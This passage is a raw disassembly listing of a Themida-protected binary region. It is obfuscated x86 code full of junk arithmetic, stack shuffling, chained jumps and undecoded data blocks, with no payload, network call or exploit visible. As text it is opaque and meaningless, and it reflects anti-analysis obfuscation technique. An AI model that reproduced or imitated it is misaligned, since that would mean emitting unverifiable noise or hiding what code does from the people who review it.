ptr [esp] pop edx add esp, 4 and ecx, ebx jmp loc_548709 ; --------------------------------------------------------------------------- aUsf db 'Uéä{',0 align 4 loc_547908: ; CODE XREF: Themida_:0054D6F1j mov ch, 6Dh sub bl, ch pop ecx add bl, al add bl, 6Dh pop eax add bl, 27h sub bl, al sub esp, 4 mov [esp], ecx mov cl, 12h sub cl, 0EBh sub bl, cl pop ecx sub bl, 84h movzx eax, al mov dx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push 4D24h mov [esp], ebp mov ebp, 700D3365h push ebx jmp loc_546D1D ; --------------------------------------------------------------------------- aZsiv db 'Z騢',0 align 4 aUb6SK db 'ÑãÃ6ηÐé',1Bh,'Š',0 dd 0FABB5300h, 0C131D409h, 0EDE907EBh db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54796F: ; CODE XREF: Themida_:0054F40Aj pop eax sub ebp, edx jmp loc_54CC67 ; --------------------------------------------------------------------------- db 5Bh dd 34FFEB31h, 6AE95D24h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547983: ; CODE XREF: Themida_:0054C50Cj mov edi, esp jmp loc_548288 ; --------------------------------------------------------------------------- dw 0D589h dd 3EDC15Ah, 2409F581h, 0F581218Ah, 4C14B274h, 2C8BEB29h dd 4C48324h, 775AB850h, 0C3292927h, 245C3158h, 48B5B04h dd 4C48124h, 53000000h, 484CBBh, 5BD8314Ah, 0FFE841E9h dd 3FE953FFh, 500003Ah, 4, 405h, 24048700h, 0AEDDE9h db 0 ; --------------------------------------------------------------------------- loc_5479E1: ; CODE XREF: Themida_:0055191Fj pop ecx push edx mov edx, 10000A04h xor edi, edx jmp loc_547C2E ; --------------------------------------------------------------------------- db 83h dd 5352FFC1h, 9E020DBBh, 5BDA8961h, 7AEA8142h, 8160E343h dd 237215F2h, 81DAF766h, 0D22B94C2h, 5AD1019Dh, 2BDFE9h dd 0E4685800h, 89000002h, 0BB53242Ch, 150526D0h, 64E9EBD1h dd 56000013h, 741136BEh, 5CE814Dh, 81581906h, 281F85F6h dd 5ACE8154h, 811AF818h, 0FD18FEF6h, 5EF7011Bh, 4EF81h dd 3C870000h, 34895C24h, 5E18E924h, 8B5A0000h, 8950243Ch dd 85FCE9E0h, 34870000h, 13D2E924h, 0C2810000h, 24697B20h dd 0EA81FA01h, 24697B20h, 359BEA81h, 0EA817760h, 6FC48D4h dd 148B028Bh, 4C48124h, 81000000h, 70446FC2h, 0FABE564Ah dd 0E91F7317h, 628Fh, 55FF829h, 24EB4996h, 2E9D829h, 81FFFFF5h dd 0E24339EBh, 5BDF01F7h, 3748E9h db 0 ; --------------------------------------------------------------------------- loc_547AC9: ; CODE XREF: Themida_:0054CA15j pop eax jmp loc_54BC7F ; --------------------------------------------------------------------------- db 50h dd 24048B54h, 7F3FE9h, 48B6600h, 4EC8324h, 68240C89h, 4F5Dh dd 16E8E9h, 57D82900h, 2F23E9h, 0F6805900h, 8BF028C7h dd 89532414h, 4C381E3h, 83000000h, 0A4E904C3h db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547B0F: ; CODE XREF: Themida_:0054AAB5j mov [esp], edx jmp loc_54E48C ; --------------------------------------------------------------------------- loc_547B17: ; CODE XREF: Themida_:005472A9j pop ecx push ebp mov ebp, 3F822217h jmp loc_549A48 ; --------------------------------------------------------------------------- db 81h dd 6EE18FEBh, 5BDE890Ch, 3B5BE9h, 40500h, 0BE560000h, 4 dd 875EF001h, 248B2404h, 216B6824h, 4890000h, 0E6B8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547B52: ; CODE XREF: Themida_:0054A542j dec ebp and ebp, 16B8037Eh shl ebp, 7 add ebp, 26D56CEh sub edi, ebp pop ebp jmp loc_551468 ; --------------------------------------------------------------------------- dw 5257h dd 2B7E1268h, 0F2BF5A27h, 1D8D481h, 876DE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547B7E: ; CODE XREF: Themida_:0054C0A5j mov [esp], ecx push esp pop ecx add ecx, 4 push esi mov esi, 225602B1h jmp loc_54CAC8 ; --------------------------------------------------------------------------- dd 2807C381h, 0C381192Ch, 6A443021h, 4CE0E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547BA6: ; CODE XREF: Themida_:00550186j mov ecx, [esp] push eax push esp pop eax push edi mov edi, 4B2005B1h shl edi, 1 sub esp, 4 mov [esp], edx push eax push 1ECA709Bh pop eax not eax not eax dec eax xor eax, 62F5FDBh mov edx, eax pop eax and edi, edx pop edx push ecx push ebx push 7F8A478Ch jmp loc_55222C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aSsf db '$é™f',0 align 2 dw 8966h dd 0D7B7241Ch, 0F800632Ch, 9512E9h db 0 ; --------------------------------------------------------------------------- loc_547BF5: ; CODE XREF: Themida_:0054C32Cj mov ecx, eax mov edx, ecx pop ecx mov eax, [esp] push ebx jmp loc_5511EB ; --------------------------------------------------------------------------- db 1 dd 7EC781C7h, 0E9145020h, 0FFFFF6E2h, 0D36500B8h, 58C3017Dh dd 39E9C329h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C1F: ; CODE XREF: Themida_:0054A12Ej xchg ebx, [esp] pop esp push ecx mov ecx, 47811E1Dh jmp loc_5473CE ; --------------------------------------------------------------------------- loc_547C2E: ; CODE XREF: Themida_:005479EAj pop edx sub eax, 6D354FF9h jmp loc_549E35 ; --------------------------------------------------------------------------- loc_547C39: ; CODE XREF: Themida_:0054F072j push esp pop ecx add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp pop dword ptr [esp] pop esp add esp, 4 or edx, eax shl edx, 1 push 7D06h mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 0FFFFFFFFh push edi xor dword ptr [esp], 4EB4770Ch pop ebx sub esp, 4 mov [esp], ebp mov ebp, 551D0C00h add ebp, 0F9976B0Ch xor ebx, ebp pop ebp mov edi, [esp] add esp, 4 sub [edi+24h], ebx jmp loc_54CCA7 ; --------------------------------------------------------------------------- db 0BAh dd 4, 34FFD301h, 0E9515A24h, 2117h, 0FE6E5005h, 73685773h dd 8900004Dh, 25BD242Ch, 0E942A651h, 96A8h ; --------------------------------------------------------------------------- loc_547CE0: ; CODE XREF: Themida_:00549BE7j add al, 1Eh jmp loc_54DEB2 ; --------------------------------------------------------------------------- loc_547CE7: ; CODE XREF: Themida_:00550C2Bj push ebx jmp loc_55051C ; --------------------------------------------------------------------------- db 81h, 6Ah, 30h dd 67B3115h, 1306A81h, 50000000h, 743FE9h, 241C8B00h, 3B04E950h dd 162C0000h, 0EC819F04h, 4, 0B2241489h, 0D0DAF68Eh, 686866E2h dd 1C89660Eh, 6437E924h, 8B660000h, 0EC832404h, 0E91CE904h dd 0C31FFFFh, 240C3324h, 1489665Ch, 9C506624h, 0FFE4C1E9h dd 0EFE952FFh, 8B0000AAh, 69E9240Ch, 68FFFFE8h, 107Ch dd 56240C89h, 58E95159h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D67: ; CODE XREF: Themida_:0054BD30j add esi, 21AD6925h not esi dec esi neg esi jmp loc_54C320 ; --------------------------------------------------------------------------- db 0BDh dd 4BD625D2h, 815DEB21h, 2B6166CBh, 0C2BF5717h, 1A0449Ah dd 6D48E9FBh, 0C4830000h, 0E6895604h, 4C681h, 0EE810000h dd 4, 5C243487h, 0FF241C89h, 0FF042474h, 835B2434h, 48F04C4h dd 24248B24h, 8F22E9h, 48B6600h, 5DEE6824h, 34890000h dd 715E6824h, 24890000h, 2E95724h, 5B000039h, 4EC81h, 2C890000h dd 73685124h, 5911C642h, 660F181h, 81416D7Bh, 405593C9h dd 6BC1815Bh, 898002AAh, 0EF0159CDh, 0E9242C8Bh, 560Bh ; --------------------------------------------------------------------------- loc_547E0C: ; CODE XREF: Themida_:0054B052j add edi, ecx jmp loc_54A725 ; --------------------------------------------------------------------------- db 81h dd 0E00B4F5h, 2EDC14Fh, 44D9F581h, 0E90159B0h, 0E9F1015Dh dd 3791h ; --------------------------------------------------------------------------- loc_547E2C: ; CODE XREF: Themida_:005472EDj mov ebp, 50723FFh sub ebp, 6FEB02DEh shl ebp, 2 dec ebp xor ebp, 4E58D583h xor esi, ebp pop ebp push esi push ebp mov ebp, 3E4666E1h sub [esp+4], ebp jmp loc_54F10B ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFFF1F9h, 33243C31h, 95C243Ch, 6A0E9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547E6A: ; CODE XREF: Themida_:0054D93Cj sub ecx, 6BAF0588h add ecx, ebx push eax mov eax, 231714EBh or eax, 4B27344Bh add eax, 5DE90F28h jmp loc_54936B ; --------------------------------------------------------------------------- loc_547E87: ; CODE XREF: Themida_:0054828Ej sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp push edx mov edx, 4 jmp loc_546569 ; --------------------------------------------------------------------------- db 89h dd 0E1815BD9h, 40082748h, 5E2FC181h, 0CE93024h, 6600007Ch dd 6824048Bh, 20F1h, 89242C89h, 4C581E5h, 52000000h, 986EE9h dd 6C685300h, 8900005Ah, 0DBD242Ch, 0C145A625h, 0DDF704E5h dd 0F9F5814Dh, 8996E9BDh, 3D5CE9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547EEE: ; CODE XREF: Themida_:00550ABBj shl edx, 1 push 72AFh mov [esp], esi jmp loc_550A55 ; --------------------------------------------------------------------------- db 5Dh, 51h, 0B9h dd 4, 0E959C801h, 288Dh ; --------------------------------------------------------------------------- loc_547F0C: ; CODE XREF: Themida_:00550FDDj mov edx, ebx jmp loc_55090C ; --------------------------------------------------------------------------- db 33h dd 248B243Ch, 0CD36624h, 0E7E99C24h, 0FFFFE2h, 2490E9C3h dd 48F0000h, 8995E924h, 8B660000h, 0EC812404h, 4, 68240489h dd 5F7Ch, 24048F54h, 146E9h db 0 ; --------------------------------------------------------------------------- loc_547F4D: ; CODE XREF: Themida_:005528B9j mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_54F31B ; --------------------------------------------------------------------------- dw 2B68h dd 89000064h, 0E953243Ch, 99BDh, 8009E205h, 51F0297Dh dd 60D96855h, 0F75D0D47h, 0F5814DDDh, 8F3896C4h, 0E95DE989h dd 0FFFFEFF4h, 3CB68h, 241C8900h, 2199E954h, 0EC810000h dd 4, 24048F54h, 4240481h, 0E9000000h, 411Eh, 8108E2C1h dd 2E0C6FE2h, 42ABE90Fh, 48B0000h, 4C48324h, 0E904EC83h dd 0FFFFF707h ; --------------------------------------------------------------------------- loc_547FCC: ; CODE XREF: Themida_:0054F88Fj shl cl, 2 shr cl, 5 shr cl, 3 push edx mov dl, 74h or dl, 2Bh dec dl jmp loc_54C4DD ; --------------------------------------------------------------------------- loc_547FE2: ; CODE XREF: Themida_:0054EFC8j mov [esp], ebp push 7DA3644Eh pop ebp sub ebp, 0FFFFFFFFh sub esp, 4 jmp loc_550D23 ; --------------------------------------------------------------------------- dw 0C801h dd 1749BB53h, 0EBC1299Bh, 67EB8104h, 0F76C8B4Eh, 90C381D3h dd 29DADA85h, 88055BD8h, 59098933h, 96DBD55h, 0D5F72A90h dd 8106EDC1h, 9114F1C5h, 46C5814Bh, 29BACC99h, 12E95DEBh db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548037: ; CODE XREF: Themida_:00552191j not dword ptr [esp] pop ecx xchg ecx, esi xor eax, esi jmp loc_550EF7 ; --------------------------------------------------------------------------- dd 895EF229h, 0F7015AD6h, 2BD555Eh, 0E9000000h, 9BCEh dd 1DB868h, 24048900h, 3293E9h, 66096800h, 0C890000h, 0E198E924h dd 88B3FFFFh, 0F65BDA88h, 68C2FEDAh, 80Fh, 1F68E9h db 0 ; --------------------------------------------------------------------------- loc_548085: ; CODE XREF: Themida_:005484C3j add ecx, 2 push ecx push dword ptr [esp+4] pop ecx jmp loc_54D4BC ; --------------------------------------------------------------------------- db 83h dd 8B042404h, 54502404h, 40558h, 4050000h, 87000000h, 55C2404h dd 4, 6C2F68h, 243C8900h, 2BFh, 5FF80100h, 0E9240433h dd 7DDEh ; --------------------------------------------------------------------------- loc_5480C8: ; CODE XREF: Themida_:0054EFECj xor ebp, 23B82CFBh xor ebp, 3ECE23A3h jmp loc_550303 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0EB830000h, 241C8704h, 0FFEFF9E9h, 240C89FFh dd 0BF57E189h, 6BFA5A75h, 5502E7C1h, 4C3CF2BDh, 94C58134h dd 312E9EE0h, 0CF815DEFh, 24222156h, 2DB5EF81h, 4CE90A1Eh dd 0BE00005Dh, 4, 835EF201h, 143302C2h, 24143124h, 5C241433h dd 6414E9h, 2840B200h, 148B66D0h, 2C48324h, 75A7E9h, 4FF6600h dd 0BBE99C24h, 28FFFFE0h, 0AEEB80C3h, 0E9C0B60Fh, 5666h dd 2F11E950h, 0C4830000h, 0A4F3E904h, 6E680000h, 89000010h dd 73BE2434h, 0E98136A3h, 0FFFFE3A5h, 405h, 4E88300h, 31240433h dd 4332404h, 4EE95C24h, 89000013h, 8FE95AD5h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54819B: ; CODE XREF: Themida_:0054CCBBj push edx mov edx, 229E4FF6h not edx push esi mov esi, 22BF7851h neg esi and esi, 244D42ADh jmp loc_548F72 ; --------------------------------------------------------------------------- aXs? db 'Xé?',8,0 align 4 loc_5481BC: ; CODE XREF: Themida_:00551FA7j pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sub esp, 4 jmp loc_5489F2 ; --------------------------------------------------------------------------- dw 4FEh dd 0F2E99C24h, 8100005Bh, 244D7DEEh, 10C68136h, 164626Eh dd 0EC9EE9FEh, 305CFFFFh, 0E99C2404h, 0FFFFE012h ; --------------------------------------------------------------------------- loc_5481F8: ; CODE XREF: Themida_:00550FE6j mov [esp], esi sub esp, 4 mov [esp], edx mov edx, 13DC7E48h jmp loc_54C94A ; --------------------------------------------------------------------------- aLQssc db '‹<$Qé‘c',0 dw 8900h dd 0B9E9242Ch, 5800000Ch, 0B978D405h, 348B596Ah, 4C48124h dd 56000000h, 8904EC83h, 0DDBA2414h, 0E94D133Ah, 7268h ; --------------------------------------------------------------------------- loc_548240: ; CODE XREF: Themida_:0054A164j push bx jmp loc_54F701 ; --------------------------------------------------------------------------- db 5Ah dd 0FFF018E9h db 0FFh ; --------------------------------------------------------------------------- loc_54824D: ; CODE XREF: Themida_:00549D35j mov ebx, [esp] add esp, 4 shr eax, 0Ah xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp push 4E0Bh mov [esp], ebp not dword ptr [esp] mov ebp, [esp] jmp loc_54C565 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 55h dd 3553E9h, 24048B00h, 2D1CE9h, 0E9CE0100h, 0F53h ; --------------------------------------------------------------------------- loc_548288: ; CODE XREF: Themida_:00547985j add edi, 4 jmp loc_547E87 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 85E904ECh, 5A000041h, 8B24048Fh, 34FF2424h dd 2434FF24h, 4260E9h, 0E9F20100h, 5864h, 47B268h, 24148900h dd 0FFDF45E9h, 6E6C1FFh, 1571E9h, 0E7895700h, 56E8E9h dd 243C8900h, 243C8B51h, 4C481h, 83590000h, 3C8904ECh dd 2474FF24h, 0CEE95F04h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5482F3: ; CODE XREF: Themida_:0054BF90j xchg ebp, [esp] pop esp add bl, 21h add bl, al push edx push ebx mov bl, 0Fh push edx mov dl, bl not dl mov bl, dl pop edx sub bl, 0BDh inc bl neg bl xor bl, 72h mov dl, bl pop ebx sub dl, 4Dh jmp loc_54841B ; --------------------------------------------------------------------------- dd offset dword_53A858+610h align 2 dw 0C89h dd 0C8B5424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5476FF ; --------------------------------------------------------------------------- dd 0BCE9E589h, 0F7000014h, 8759241Ch, 87D7F7F9h, 0DFE981F9h dd 1164B05h, 0C58159CDh, 4, 31242C33h, 2C33242Ch, 24248B24h dd 0FFDE99E9h, 240C87FFh, 2414895Ch, 0EC81E289h, 4, 0BD242C89h dd 4B056712h, 373BED81h, 0F5814920h, 55493D5Eh, 4E5C145h dd 289CED81h, 0EA014AC1h, 65BEE95Dh, 24890000h, 24048124h dd 4, 582434FFh, 4C481h, 0E9520000h, 6143h, 3957EF81h dd 0E95D6EEBh, 36EFh, 4BD55h, 0EE010000h, 6D04E9h, 24048B00h dd 81595451h, 4C1h, 4C18100h, 33000000h, 83E9240Ch, 8100002Fh dd 0FB2E26E9h, 8B4FE925h, 8B660000h, 8957240Ch, 4EC81E7h dd 89000000h, 0FCE92434h, 0FF00008Fh, 52E92434h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54841B: ; CODE XREF: Themida_:00548318j and dl, 65h jmp loc_5488AF ; --------------------------------------------------------------------------- db 81h dd 4ECh, 139EE900h, 0E9420000h, 4D1h, 51ED8159h, 50439868h dd 490F35B8h, 50DCE97Eh, 0F1810000h, 4F4C4C7Eh, 0E959CA01h dd 613Ah ; --------------------------------------------------------------------------- loc_548454: ; CODE XREF: Themida_:0054D4C2j sub bl, 0D9h push eax mov ah, 5 jmp loc_551112 ; --------------------------------------------------------------------------- align 10h dd 28F5E9D0h, 0FE5C0000h, 0E99C240Ch, 0FFFFDD9Ah, 81665E66h dd 0F4F50C3h, 33E9C0B7h, 5600002Fh, 0C681E689h, 4, 4EE81h dd 34870000h, 98E95C24h, 53FFFFEBh, 0C381E389h, 4, 4EB81h dd 8AE90000h, 5200003Fh, 69E9CCB2h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5484B3: ; CODE XREF: Themida_:0054C002j push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_548085 ; --------------------------------------------------------------------------- loc_5484C8: ; CODE XREF: Themida_:0054F196j push 1 pop ebp jmp loc_54A7A4 ; --------------------------------------------------------------------------- db 51h dd 8852B753h, 123EE9FDh, 0D1F70000h, 7289E181h, 0D9F77BEDh dd 0B6BF5749h, 47709C5Dh, 5E90E9h db 0 ; --------------------------------------------------------------------------- loc_5484F5: ; CODE XREF: Themida_:00549DC4j pop ebx and eax, ecx push dword ptr [esp] jmp loc_548E96 ; --------------------------------------------------------------------------- dd 2159CE01h, 0A303E9F2h, 840F0000h, 0A0C9h, 69568h, 24348900h dd 0FEBEh, 9E88E900h, 148B0000h, 4C48124h, 0E9000000h dd 1189h, 33BCEE81h, 0F389117Dh, 0A3A1E9h, 4C48100h, 81000000h dd 4ECh, 243C8900h, 6BD3E9h, 0F4E95400h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548557: ; CODE XREF: Themida_:005504AFj sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push 1 push dword ptr [esp] jmp loc_546F3C ; --------------------------------------------------------------------------- loc_548571: ; CODE XREF: Themida_:0054D75Fj pop esp push ecx push eax mov eax, 63384BA2h push ebx mov ebx, 3DC4147Bh shr ebx, 2 and ebx, 2043109Ch sub ebx, 2D5D197Fh sub ebx, 93E76F2h sub ebx, 3B6112C3h add ebx, 0C4E8FC64h and eax, ebx pop ebx and eax, 6A9F1ADCh inc eax jmp loc_54747E ; --------------------------------------------------------------------------- dw 2489h dd 0BE565024h, 66F2289Dh, 0B1EEE81h, 0F0893D14h, 3359E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5485C6: ; CODE XREF: Themida_:0054DEBFj pop edx and cl, 9Dh inc cl push 69AAh mov [esp], eax mov al, 1 add cl, al pop eax push eax jmp loc_54908A ; --------------------------------------------------------------------------- loc_5485DF: ; CODE XREF: Themida_:0054E5A3j xchg ecx, [esp] mov esp, [esp] bswap eax push 5B6Dh mov [esp], eax jmp loc_54620A ; --------------------------------------------------------------------------- loc_5485F4: ; CODE XREF: Themida_:0054F874j inc ebp push edx jmp loc_54AE47 ; --------------------------------------------------------------------------- db 0FFh dd 589D1C77h, 9C240419h, 0FFEB0EE9h, 24148BFFh, 4C481h dd 4870000h, 24248B24h, 0E99CC885h, 0FFFFDBEAh, 0DBF6D9B3h dd 80BAC380h, 0EEE973CBh, 33000046h, 1C31241Ch, 241C3324h dd 0E924248Bh, 66A7h ; --------------------------------------------------------------------------- loc_548640: ; CODE XREF: Themida_:0054CAC9j mov ebp, 37A82BC4h jmp loc_54D427 ; --------------------------------------------------------------------------- loc_54864A: ; CODE XREF: Themida_:0054CF77j mov ebp, 72425747h shl ebp, 1 jmp loc_549601 ; --------------------------------------------------------------------------- loc_548656: ; CODE XREF: Themida_:005490FFj and [edi+20h], ebx pop ebx push eax mov eax, 20614B1h sub [edi+20h], eax pop eax jmp loc_54CBA3 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 2FE90000h, 5F000052h, 4B850h, 0C7010000h, 0E924048Bh dd 77ADh ; --------------------------------------------------------------------------- loc_548684: ; CODE XREF: Themida_:0054908Dj not bh shr bh, 6 jmp loc_5465D5 ; --------------------------------------------------------------------------- loc_54868E: ; CODE XREF: Themida_:0054A745j add ebx, 4 push esi mov esi, 1B216B5Eh shr esi, 1 jmp loc_54E9B2 ; --------------------------------------------------------------------------- loc_5486A1: ; CODE XREF: Themida_:0054D479j push eax mov eax, 4 add edi, 6EFD0247h add edi, eax sub edi, 6EFD0247h pop eax add edi, 2 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_54AE84 ; --------------------------------------------------------------------------- aN1Sc db '1Øéc^',0 align 4 dd 33B951ADh, 5126B820h, 0FF2414F7h, 83592434h, 0BA5204C4h dd 72B0669h, 505AD101h, 55AAE9h, 0A5C58100h, 14AE750h dd 0DE015DEBh, 1786E9h db 0 ; --------------------------------------------------------------------------- loc_548709: ; CODE XREF: Themida_:005478FDj push dword ptr [esp] pop ebx jmp loc_54C4EF ; --------------------------------------------------------------------------- dd offset dword_592268 dw 8900h dd 0B1B82404h, 2D0F8E5Dh, 0DE67425h, 8158C231h, 39138EC3h dd 9103E942h, 0E2810000h, 61DA26BAh, 4522E9h, 5C64BB00h dd 0BE566F1Eh, 32AF68B0h, 348BF321h, 4C48124h, 0E9000000h dd 6A12h, 0D10F0ABDh, 246C0151h, 2434FF04h, 0D45E9h db 0 ; --------------------------------------------------------------------------- loc_548769: ; CODE XREF: Themida_:0054C023j add edx, eax pop eax jmp loc_54AD37 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0BFE90000h, 5200008Dh, 81D2E9h, 2B800h, 0C5890000h dd 7759E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54878E: ; CODE XREF: Themida_:005518A8j push eax jmp loc_54B6B3 ; --------------------------------------------------------------------------- loc_548794: ; CODE XREF: Themida_:00551C21j push ebp push esi mov esi, 307A4DDDh mov ebp, esi pop esi xor [esp+4], ebp jmp loc_54C0F6 ; --------------------------------------------------------------------------- db 81h dd 71598ACAh, 35BD5571h, 2965FAB4h, 8CE95DEAh db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5487BB: ; CODE XREF: Themida_:00549A8Dj mov esi, 32DF60DBh sub edi, esi pop esi and ecx, edi pop edi jmp loc_54CEAD ; --------------------------------------------------------------------------- aS_5 db ']é',8,'&',0 db 0 ; --------------------------------------------------------------------------- loc_5487D1: ; CODE XREF: Themida_:0054DC61j add eax, 2D9F548Bh add eax, 0E3A566Bh sub eax, 0E73C24h sub eax, esi add eax, 0E73C24h sub eax, 0E3A566Bh sub eax, 2D9F548Bh jmp loc_54C907 ; --------------------------------------------------------------------------- dw 0D629h dd 0C681595Ah, 2, 8B243487h, 0F7662424h, 7F6866E1h, 14896654h dd 9C506624h, 0FFD9F1E9h, 240CD2FFh, 0D9E8E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548822: ; CODE XREF: Themida_:0054936Fj sub eax, 0B8D20AC3h add ecx, eax pop eax mov ebx, [esp] jmp loc_54E59D ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFECB0h ; --------------------------------------------------------------------------- loc_548838: ; CODE XREF: Themida_:005506CEj push ecx push eax mov al, dl mov cl, al pop eax mov bl, cl jmp loc_54DFF4 ; --------------------------------------------------------------------------- dw 5066h dd 0FFFC5EE9h, 4EC81FFh, 89000000h, 33BA2414h, 16EA303h dd 0EE815AD6h, 27224832h, 8124048Bh, 4C4h, 0E9525200h dd 2C07h, 8F05E953h, 65680000h, 8900004Ah, 0BA52242Ch dd 451430D5h, 32EBB53h, 0DA315970h, 0C9EA815Bh, 501BB2C4h dd 0C589D089h, 0EBE95A58h, 6600003Eh, 57240C8Bh, 89E9E789h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5488AF: ; CODE XREF: Themida_:0054841Ej push eax mov ah, 65h push cx mov ch, 0F4h add ah, ch jmp loc_54D6DB ; --------------------------------------------------------------------------- aFSN db 'f!Öé-',0 dd 0CEB95100h, 0E972A04Bh, 8B7Eh, 80ADC380h, 0B55163EBh dd 85ED800Dh, 8BF0E9h, 5762BD00h, 0DD311C77h, 6E5C15Bh dd 241CF755h, 0FFDFC1E9h, 0E78957FFh, 1774E9h, 243C3100h dd 0FFE6A1E9h, 81D787FFh, 6DBFBBC7h, 0E9FE89AEh, 52B5h dd 0ABF28142h, 0C1180169h, 63E906EAh, 0FF000043h, 0E99C240Ch dd 0FFFFD8DEh, 4C4835Ah, 0FFFF11E9h db 0FFh ; --------------------------------------------------------------------------- loc_548935: ; CODE XREF: Themida_:0054B5B8j push 6DBDh mov [esp], edx jmp loc_54A1CA ; --------------------------------------------------------------------------- loc_548942: ; CODE XREF: Themida_:0054C789j xor esi, 51B24320h not esi sub esi, 4A977EF3h jmp loc_5512AF ; --------------------------------------------------------------------------- db 89h, 0D1h, 5Ah dd 34FFC831h, 0C4835924h, 44E86804h, 14890000h, 0EA94E924h dd 77FFFFFFh, 5325E93Ch, 8B660000h, 0EC812404h, 4, 54240C89h dd 83240C8Bh, 0BB5304C4h, 4, 51EDC181h, 0E9811FEDh, 71764F14h dd 0C181D901h, 71764F14h, 51EDE981h, 1C8B1FEDh, 4C48324h dd 7753E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5489B6: ; CODE XREF: Themida_:0054D2EDj pop eax push 42A1h jmp loc_54A089 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFD841E9h, 6FC9BFFFh, 0EFC119F9h, 7DE94F06h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5489D7: ; CODE XREF: Themida_:00548B2Fj ; Themida_:00550E95j push 5849h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push 42CBh jmp loc_54D10E ; --------------------------------------------------------------------------- loc_5489F2: ; CODE XREF: Themida_:005481CDj mov [esp], edx push ecx jmp loc_54AC20 ; --------------------------------------------------------------------------- db 31h dd 0C3315DE8h, 0E930FF66h, 0FFFFD802h, 22DCE959h, 55590000h dd 17F2E9h, 147F6800h, 4890000h, 5E08924h, 4, 4DB4E9h db 0 ; --------------------------------------------------------------------------- loc_548A29: ; CODE XREF: Themida_:005517A5j mov [esp], ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 jmp loc_54D8E1 ; --------------------------------------------------------------------------- loc_548A3F: ; CODE XREF: Themida_:0054CD7Fj pop dword ptr [esp] pop esp jmp loc_54746A ; --------------------------------------------------------------------------- dd 2ED60548h, 0F22D7112h, 21DA8BB5h, 0F58158C5h, 37C072E7h dd 814DD5F7h, 6092E0F5h, 5DE901F5h, 76BBF57h, 0EF8144AFh dd 4D816E1Eh, 71A7B951h, 0CF29D611h, 2BB2E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548A82: ; CODE XREF: Themida_:005512B9j push esp pop edi add edi, 4 sub edi, 4 jmp loc_54C8FC ; --------------------------------------------------------------------------- dw 0DA29h dd 7ABE565Bh, 0E968225Ah, 0FFFFE9FEh, 0D8DDE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548AA6: ; CODE XREF: Themida_:0054D019j pop esp mov [esp], ax mov al, 80h jmp loc_550A87 ; --------------------------------------------------------------------------- dw 34FFh dd 241C8B24h, 4EC81h, 3C890000h, 51E78924h, 467E9h, 20806800h dd 3C890000h, 3C8B5A24h, 4C48124h, 0BE000000h, 3ABE7830h dd 95AD629h, 0C9E91C77h, 57000045h, 51D4E9h, 4C48100h dd 1000000h, 243C8BF8h, 0E904C483h, 0FFFFEFE9h ; --------------------------------------------------------------------------- loc_548B04: ; CODE XREF: Themida_:00550DF0j push edx jmp loc_550F68 ; --------------------------------------------------------------------------- loc_548B0A: ; CODE XREF: Themida_:0054A582j sub [esp], edx add dword ptr [esp], 13C60DFAh pop edx push esi mov esi, 0E4692DA6h sub edx, 58D2419Dh sub edx, esi add edx, 58D2419Dh pop esi and eax, edx pop edx or eax, eax jz loc_5489D7 sub esp, 4 mov [esp], esi mov esi, esp push eax mov eax, 4 add esi, eax pop eax push ebp mov ebp, 35901ED5h and ebp, 565F609Eh and ebp, 2A8029DDh and ebp, 35F976A9h jmp loc_54E367 ; --------------------------------------------------------------------------- dw 0D601h dd 347B2D5Ah, 0F0014B0Ah, 0A347B05h, 30815E4Bh, 13E51C2Eh dd 0B9515B58h, 65FD2BF5h, 0C102E9C1h, 0A0E908E9h, 8900009Ah dd 0D589242Ch, 2C8BEB89h, 4C48124h, 0FF000000h, 835A2434h dd 0C5E904C4h, 5000000Ch, 4B8h, 8BC60100h, 